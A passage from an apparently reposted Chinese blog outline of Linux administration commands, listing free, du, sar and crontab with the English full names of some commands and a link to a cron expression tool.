
    • free
  • 4、磁盘使用情况

    • du

      • 全拼:disk usage
    • 综合命令 sar

  • 5、定时任务

    • 工具:crontab

    • 全拼:cron table

    • Cron表达式:

      • https://tool.lu/crontab
    • crontab命令

    • 定时任务文件

猜你喜欢

转载自blog.csdn.net/m0_52051132/article/details/128362191